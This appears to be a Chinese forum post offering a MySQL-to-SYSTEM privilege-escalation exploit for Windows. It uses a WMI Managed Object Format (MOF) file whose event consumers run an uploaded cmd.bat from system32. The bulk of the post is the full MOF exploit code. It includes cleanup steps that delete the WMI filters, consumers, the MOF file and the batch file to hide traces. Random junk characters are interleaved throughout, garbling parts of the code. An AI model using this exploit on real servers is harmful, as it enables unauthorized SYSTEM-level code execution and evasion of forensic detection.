Mysql 提权即时无错Mof exp

admin

这个sql提权MOF需要运行 system下的文件，不能定义路径。
. Z- L5 A- Z, [+ o  R2 y1 U需要将要运行的命令写入到bat上传到system32目录，然后执行。
1 U5 x, g$ W( z- ~6 U- `2 \
这个sql提权MOF需要运行 system下的文件，不能定义路径。
& J. H3 j% f0 C5 K  o% Y需要将要运行的命令写入到bat上传到system32目录，然后执行。
) x' U& F' f; l3 m" `
" Q- _: \6 j( W0 i- a9 j6 |, Z#pragma
6 V8 Z( Z' O; @                        namespace("\\\\.\\root\\cimv2")
                        class
                        MyClass547
                        {           [key]
                        string
                        Name;
                        };
                        class
4 ^5 A) O; D% E7 n0 E                        ActiveScriptEventConsumer
                        : __EventConsumer {          [key]
1 F+ E' J: t( G0 H2 w1 W. W                        string
3 Y) `: ]6 Q1 j" f7 C. V7 M8 I                        Name;           [not_null]
4 d& s1 W  q' s4 _; s                        string
                        ScriptingEngine;           string
  d+ H$ D1 y: t% m                        ScriptFileName;           [template]
1 `# g) H& U+ Z                        string
; m' x/ z+ `/ P8 b2 ~6 Q4 L                        ScriptText;         uint32 KillTimeout;
: e  t- z8 W0 H# x' c  m                        }; instance of __Win32Provider as $P {
2 h3 l3 F* [2 M, n                        Name
4 K7 d. W" w7 K9 E3 i2 m                        =
2 I7 L9 Q" N. P, X+ F% C                        "ActiveScriptEventConsumer";     CLSID =
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
6 C( l9 |+ W2 y2 X- v7 S- M                        PerUserInitialization
* u4 c$ W9 p% {. x+ _6 g& K                        = TRUE;
6 B1 B; t. L/ Z* _( Z# w# o                        }; instance of __EventConsumerProviderRegistration {         Provider
                        = $P;         ConsumerClassNames
. I* ^+ Z7 G; C+ W& m                        =
  w4 c/ u, }8 v: `                        {"ActiveScriptEventConsumer"};
                        };
                        Instance of ActiveScriptEventConsumer
# ^6 g; E6 b/ l                        as $cons {         Name
/ S5 G' g7 w$ g3 w" o                        =
                        "ASEC";         ScriptingEngine
                        =
% P( A2 U0 W! u) Z3 k+ c6 W3 A                        "JScript";         ScriptText
                        =
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
                        Instance of ActiveScriptEventConsumer
6 T$ _" l# L- [                        as $cons2 {         Name
. S9 A" E: m. E                        =
                        "qndASEC";         ScriptingEngine
                        =
/ G" x6 U! ^+ a1 M                        "JScript";         ScriptText
6 J8 }- t7 e8 g                        =
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
                        }; instance of __EventFilter as $Filt {         Name
6 ^- W) {4 C% G- E7 x7 w                        =
/ Q; x" v9 N2 y1 l6 E7 @                        "instfilt";         Query
                        =
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
6 x- l1 g  d' g                        =
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
                        =
( b; o8 N( H: D0 ^                        "qndfilt";         Query
2 S1 a% Q4 M1 M! j" V/ Z8 e                        =
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
& c4 k6 e. x$ C                        =
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
                        = $cons;         Filter
" }9 V0 m2 O: Q% z+ ~* e+ K                        = $Filt;
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
# g& R8 [! f+ j0 o6 F                        = $cons2;         Filter
' q# G+ d( V* r9 S, t8 B  D- K2 f                        = $Filt2;
$ w2 i, S  _2 v: V7 C                        }; instance of MyClass547
                        as $MyClass {         Name
. z" D, z" O* `; K) E7 @                        =
                        "ClassConsumer";
                        };